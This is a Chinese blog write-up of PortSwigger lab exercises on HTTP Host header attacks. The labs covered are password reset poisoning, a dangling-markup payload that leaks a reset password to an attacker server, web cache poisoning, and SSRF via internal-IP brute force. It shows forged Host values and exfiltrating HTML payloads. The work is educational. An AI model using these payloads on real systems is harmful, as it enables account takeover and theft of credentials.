其他分享
首页 > 其他分享> > Postwigger Lab - HTTP HOST POISON 实验记录

Postwigger Lab - HTTP HOST POISON 实验记录

作者:互联网

Postwigger HTTP HOST POISON


更新日期: 2021年11月13日

在本文中对HTTP的HOST字段的相关毒化的相关Web安全技术进行介绍,以及对相关参考资源进行分享;

参考资料链接:


目录


0x01. 什么是 HTTP / HTTP-HOST 字段

写在前边

HOST 字段是在HTTP1.1协议中提出来的,目前HTTP的相关协议已经延续到了HTTP2.0版本,对于HTTP协议的相关内容探讨并不在本文中被体现,本文只涉及HTTP报头中的HOST字段的作用探讨和分析和部分HTTP1.1协议内容的讨论;

目前,对于HTTP协议是否还需要保留还存在相关的争议,因为HTTP的冗杂性(高度集中化)以及对于安全性上的担忧(HTTPS协议的诞生),导致近些年出现了很多新兴的传输协议,比较主流且广泛收到讨论的有: IPFS / RsRocket,随着云计算、区块链技术的崛起, IPFS在区块链上的广泛使用以及对Go语言的支持,因此现在受到开源社区比较强烈的关注;

可以参考下边的链接来了解:

有兴趣的同学可以了解IPFS协议在Go语言上的实现;

HTTP 的何去何从还是要交给时间来决定... XD

HTTP 协议的演变

HTTP 0.9:

HTTP 1.0

HTTP 1.1

HOST 字段

从前边的相关内容,我们已经了解到了 HTTP 1.1 协议版本增加了 Host Header来支持对多个域名的请求,多个域名可以指向同一个IP地址服务器上,这种方法经常被某些V**网站来防止封锁,这招非常管用;

HOST 字段设计的本身就是用来支持不同的域名的,在 HTTP 1.1 当中其定义方式如下:

Host: <host>:<port>

其中,host 为相关域名,port 为对应的端口号;

在实际报文中的例子,下边是一个完整的HTTP REQUEST 请求报文:

POST /forgot-password HTTP/1.1
Host: acd21f291ef80dc3c06329c5003600b6.web-security-academy.net
Cookie: _lab=46%7cMCwCFE6JEz8xvZ4xTwZWai4Pj3Q8DBwjAhQLuStW6K30UeCL9p3rRP0pdbNrad3usfSGk5Gy3mABhieVNSq3LI3FwnkijZW48stvCPfftx%2b1r3JYdTFIg1%2fKThUvUdhNo5FJE46QcsexumA1kPmBEfhzBWVWqFAERsdj8Csu%2fbJs308%3d; session=PvEprLjXC8id9nP8UvZMTtgLRapayeQR
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://acd21f291ef80dc3c06329c5003600b6.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acd21f291ef80dc3c06329c5003600b6.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

csrf=lPevQR4EmeuSYdG8CIhy8E7HDhM1trWl&username=wiener

Host字段的相关作用

Host 字段在设计当初的目的就是指定被请求的主机和端口号

客户端在想服务端发起相关请求时,将 HOST 字段加入到HTTP请求包头部,发送给服务端,服务端可以在后端的逻辑代码中使用该 HOST字段的相关内容, 例如在PHP当中,可以使用 $_SERVER['HTTP_HOST'] 来指代客户端请求报文中的 HOST 字段;


0x02 PortSwigger相关题目

1. Lab: Basic password reset poisoning

网上对于怎么实现该实验的Header毒化有很多的教程以及视频,在这里我们不再对相关过程进行赘述了,主要是分析和记录在这一过程中后边的原理;

对于实现该题目中的相关Header的毒化,最重要的是了解后端对于该字段的处理;

1.1 HTTP的通讯 / 解析方式

客户端发送请求到服务端,相关的请求内容如下:

POST /forgot-password HTTP/1.1
Host: acc11f681fa365abc07b239f008200db.web-security-academy.net
Cookie: _lab=47%7cMC0CFQCSIpfBgV8O7Ke%2ftPBVroH6oYPsEwIUQvFep6B1MAco7QwcqXpIOtPE1K2imBsqkCX5UI31PYC47YuMmaGl3%2fKw88uP%2fENl58xb%2fhiTQbRd9jX9MNDDDUre%2buvxvET2nZ4phOfs0WpwVZK%2fLBG%2bj2Ntgawa4aQwdsln2diQchpZ; session=HPelWIF9ncdEZz93juiuAFHikQacsFfn
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: https://acc11f681fa365abc07b239f008200db.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://acc11f681fa365abc07b239f008200db.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

csrf=0WrZHY4dLNxyCtbSIdKFyBf3nXmNJmi2&username=wiener

可以发现 Host 字段是通过 Request 请求发送服务端的,服务端可以直接使用;

在这个过程中,必须要理解HTTP协议中的相关概念:

1.2 后端处理请求方式

因为 Host 是从客户端到服务端进行相关信息传输的,因此该信息可以进行更改;

POST /forgot-password HTTP/1.1
Host: acc11f681fa365abc07b239f008200db.web-security-academy.net

可以被随意更改成你想要的恶意地址!

POST /forgot-password HTTP/1.1
Host: doherasHacker.com

在该实验中,我们只讨论重置密码的相关业务场景

这个时候如果服务端对从客户端发送过来的 Host 内容不进行解析,那么就不会存在问题,但是如果使用的是下边的方式,那么就会存在问题:

对于 PHP 来说:

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=$token";

对于 Python - Django 来说:

reset_password = {{ protocol}}://{{ self.request.META['HTTP_HOST'] }}{% url 'password_reset_confirm' uidb64=uid token=token %}

那么接收到的相关 HOST 信息就是从客户端发送过来的Host信息,那么上边的链接就会被修改成恶意的域名地址

攻击者在该恶意域名地址的服务器设置一个 Logger,这个 Logger 用来记录相关请求,即使不进行回应,也可以获得对应的 token 来伪造用户的身份,从而达到修改密码的相关目的;

但是该链接还会被正常发送给用户正常注册的邮箱,只要用户不点击该链接,就不会发送请求给恶意的服务器,那么 token 就不会被获取,那么该攻击就不会成功;

在该实验中默认用户会点击该请求,所以就会被 Logger 记录 ~



1.2 Lab: Password reset poisoning via dangling markup

Host 的字段中加入恶意的 JavaScrit 代码,将自动执行相关的恶意代码,HTTP 设计中有相关的字段来保证所有在浏览器中打开的页面都是同源的,因此该策略也被称为“同源策略”(Same Origin Policy);

在 HTTP 头中,加入了 Origin 字段来进行源的辨别,没有经过同源认证的后端容易受到 CSRF、XSS的相关攻击;

在这里,因为笔者从来没有听过 Dangling markup 技术,在这里做相关的介绍;

1.2.1 Dangling markup 技术

针对 XSS / CSRF 攻击的前提需要,相关需要对相关信息进行窃取,对于 XSS 来说需要页面不对相关的异常代码进行识别,对于 CSRF 攻击 需要对相关 CSRF token 的值进行窃取;

Dangling markup 技术的诞生需要就是来窃取网站的相关内容,使用图像等资源将数据发送到攻击者远程控制的恶意服务器位置。其诞生就是解决 反射型XSS脚本 被过滤时,如何窃取页面上的相关内容;

其入侵的相关思想:

在这里我们举一个例子~

我们假设需要这样的一个标签:

<img src="https://evilserver/?"

当代码中存在这样的代码时,因为该标签没有闭合,所以编译器必须查找下一个闭合的HTML标签,因此将会访问 src 后边的链接,当恶意服务器对于访问进行记录,那么就会被记录在恶意服务器中的Logger上边,从而相关的敏感信息就会被泄露;

在本实验当中,是对上一个实验的补充,在上一实验当中,使用了对 host 字段的毒化,即制定了恶意的服务器的地址,从而达到将相关Email中的链接的Host域名替换成恶意的的服务器的地址;

在本实验当中,经过对 Host 进行再次修改之后发现无法正常发送请求,因此需要转变相关思路;

对于 Host 字段的相关的相关定义形式为:域名:端口号,因此在本实验当中,需要对 Host 进行探测的是需要后端对处理Host中的端口信息是否存在漏洞,实际上是存在漏洞的;

我们尝试将Host的相关字段更改为:

Host:Host: ac081f121ebc4835c0680fc500ea00b3.web-security-academy.net:TestPort

再进行重放,是可以收到相关密码重置邮件的,因此在这里存在注入点;

对于邮件的内容,也从之前的链接信息更改成为了发送临时的密码,我们的目标就是获取这个密码

相关邮件的源码如下,可以看到该邮件为 HTML 格式内容,因此可以使用 Dangling markup 的相关注入技术, 并且 TestPort 已经被注入进去了:

我们构建对应的注入信息,在 HTML 当中 a 用来定义超链接,我们重新 :

<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? 

因为这个链接的内容会被扫描器自动执行;

<p>Hello!</p><p>Please <a href='https://acde1fc11f9a9227c062c68800100077.web-security-academy.net:<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? /login'>click here</a> to login with your new password: 66ydHVFp8y</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

格式化之后的HTML为:

<p>Hello!</p>
<p>Please <a href='https://acde1fc11f9a9227c062c68800100077.web-security-academy.net:<a href = "//exploit-ace91fec1fe29227c012c6140198008b.web-security-academy.net/? /login'>click here</a> to login with your new password: 66ydHVFp8y</p>
<p>Thanks,<br />Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>

可以看到,to login with your new password: 66ydHVFp8y</p> 将会作为请求链接的参数,被发送到我们的设定服务器,相关 password 就会被记录下来;


1.3 Lab: Web cache poisoning with an unkeyed header

在本实验当中,使用了 Web Cache Poisoning 的相关技术,在本技术当中,通过更改和观察相关HTTP头部的信息,从而获得页面相关加载资源;

对于 Web Cache Poision 的相关技术将会在其他的章节进行详细介绍;

本文只讨论 Host 字段对于后端返回给客户端的相关影响,通过对返回 Response 的相关进行判断,寻找注入点,从下图,我们可以看到页面主动加在了一个源地址为: ac4a1f641f9c4dc1c0f61034006e00cc.web-security-academy.net 该地址为服务器的相关地址;

当我们尝试更改 Host 的相关值之后,发现 504 Gateway Error, 那么反向代理服务器对 Host 进行了更改;

当尝试增加了新的 Host 字段之后,我们发现相关的 script 脚本的 src 值发生了改变:

因此可知该点为注入点, 可以修改 src 的相关值;

完成该注入的一个要求就是,必须让目标的后端服务器对相关内容进行缓存,缓存的内容就是就上边 SCRIPT 的内容,要求对所有的用户访问该网站都会被执行上述的代码,因此要将该代码放入内存当中;

这里有一个很关键的概念: X-Cache

对于 HTTP 的 Response 报文,用来进行判断是否命中代理服务器/CDN分发的相关缓存记录,看两个字段:X-Cache / X-Cache-lookup

对于 X-Cache 的字段在本实验中有两种:miss / hit ,正式的定义当中,该字段用来指明:查看代理服务器中是否有某个网页缓存

本 Lab 当中要想完成 Web Cache Poisoning,必须在 Repeater 中多次提交请求,直到该值从 misshit

补充:


1.4 Lab:Host header authentication bypass

robots.txt: 在Web后端中用来指示网络爬虫哪些可以爬取,哪些不可以爬取,因此在该文件中有相关的网站目录信息;

本题较为简单,只需要打开 admin 的控制面板就可以;

在这里做一个小笔记:

对于每一个在 PortSwigger 生成的临时的 Victem Website 的相关链接:

https://ac2e1f561e6c333dc02a1ec0009f0016.web-security-academy.net/

对其进行相关资产扫描,使用 Dirbuster 等工具时,不能正常返回相关回应代码,所以无法推断这个问题留在以后进行解决;


1.5 Lab: Routing-based SSRF

完成该题的相关前提是:必须了解Burp Suite的相关用法,即 Burp Suite的相关组件的功能;

在本文当中,因为涉及到对 Host 字段的相关更改,因此首先尝试更改 Host 字段的相关内容,可以看到返回的结果是: 504 Forbbiden

504 Forbbiden 的错误指: 后端对于 Host的字段并没有进行验证,因此存在注入点, 504 Forbbiden 的相关错误就是指后端服务器对于前端提交的相关请求的相关内容进行再请求;

根据本题的相关提示,我们需要使用 Web Server 即 (https://acd11f301f4978d9c1249133002800ae.web-security-academy.net/ ) 作为跳板机来访问只有内网才有权限的内网服务器;

因为在上边将 Host 字段进行了更改,更改后的是一个虚假的地址,那么 Host 请求自然不会成功,从而返回一个 504 错误;

Burp Suite 提供了 Burp Collaborator Client 的组件,其功能为模拟一个虚拟的服务器,可以进行手工的注入操作,对于不进行回显的注入操作,产生回应内容从而判断是否成功;

之后,我们需要模拟内网的相关请求给Target 服务器的网管,因此需要对 Host进行更改,因为我们现在并不知道内网的相关IP地址,所以使用 Burp Intruder 进行猜测内网的IP地址;

我们对 Host 字段进行调整,调整之后的相关内容如下:

设定 猜测的区间参数:

之后进行攻击,最后的内容如下图:

可以看到,在上边有一个地址对我们的请求进行了响应,响应的相关内容为: 302 ,即代表该资源存在,但是被临时更改到了其他的地方;

因此: 192.168.0.35 为我们查找的相关内网IP地址,这个内网地址可以访问 /admin 的相关资源;

使用 Burp Repeater 打开,可以看到:

正确加在了 https://acd11f301f4978d9c1249133002800ae.web-security-academy.net/admin页面,即可以成功删除 calors的账户了;


Lab: SSRF via flawed request parsing

这个实验与上述实验不同的是:在该实验当中对 Host 字段进行了验证,不能通过验证的都会返回: 403 Forbbiden, 服务器拒绝提供服务;

绕过的方法很简单,在 GET 关键字之后加上完整的链接,将第一个参数作为 Host 进行验证:

相关原理为:


【完】

参考链接

标签:HTTP,请求,Host,POISON,HOST,相关,客户端
来源: https://www.cnblogs.com/doherasyang/p/15549548.html